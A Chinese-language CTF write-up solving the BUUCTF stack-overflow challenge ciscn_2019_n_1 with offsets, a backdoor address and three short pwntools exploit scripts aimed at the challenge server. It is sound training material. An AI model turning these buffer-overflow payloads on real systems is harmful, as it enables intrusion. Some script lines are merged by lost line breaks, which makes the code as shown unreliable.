參考:BUUCTF-ciscn_2019_n_1 - 紙鳶asahi - 博客園 (cnblogs.com)
buuctf 刷題記錄_PWN ciscn_2019_n_1 - MuRKuo - 博客園 (cnblogs.com)
從題海中入門(四)ciscn_2019_n_1 - FreeBuf網絡安全行業門戶
ciscn_2019_n_1 ——兩種解法_0x41348000-CSDN博客
checksec檢查是64位,開啟了NX保護
運行效果如下:
main函數:
func()函數
需要v1變量溢出到v2,然后給v2 11.28125的值
查看變量在棧中的位置:v1 0x30 v2 0x04
11.28125的十六進制值是0x41348000
后門函數的地址是0x4006BE
先嘗試溢出到RBP執行后門函數,寫exp如下:
#!/usr/bin/python from pwn import *io=remote("node5.buuoj.cn",28248)
payload=b'a'*(0x30+8)+p64(0x4006BE)
io.sendline(payload)
io.interactive()
這里為了堆棧平衡+1反而沒辦法打通,不+1反而可以成功,因此后面做題的時候加不加1都試一下
堆棧平衡詳細參考:CTFer成長日記12:棧對齊—獲取shell前的臨門一腳 - 知乎 (zhihu.com)
執行結果如下:
這里再試驗第二種思路,溢出到變量2
有兩種exp
第一種:
from pwn import *
import structp = remote('node5.buuoj.cn',28248)
payload = b'a'*(0x30-0x4) + struct.pack('<f',11.28125)p.sendline(payload)
p.interactive()
執行結果如下:
第二種:
from pwn import *
import structp = remote('node5.buuoj.cn',28248)
payload = b'a'*(0x30-0x4) + p64(0x41348000)p.sendline(payload)
p.interactive()
執行結果如下: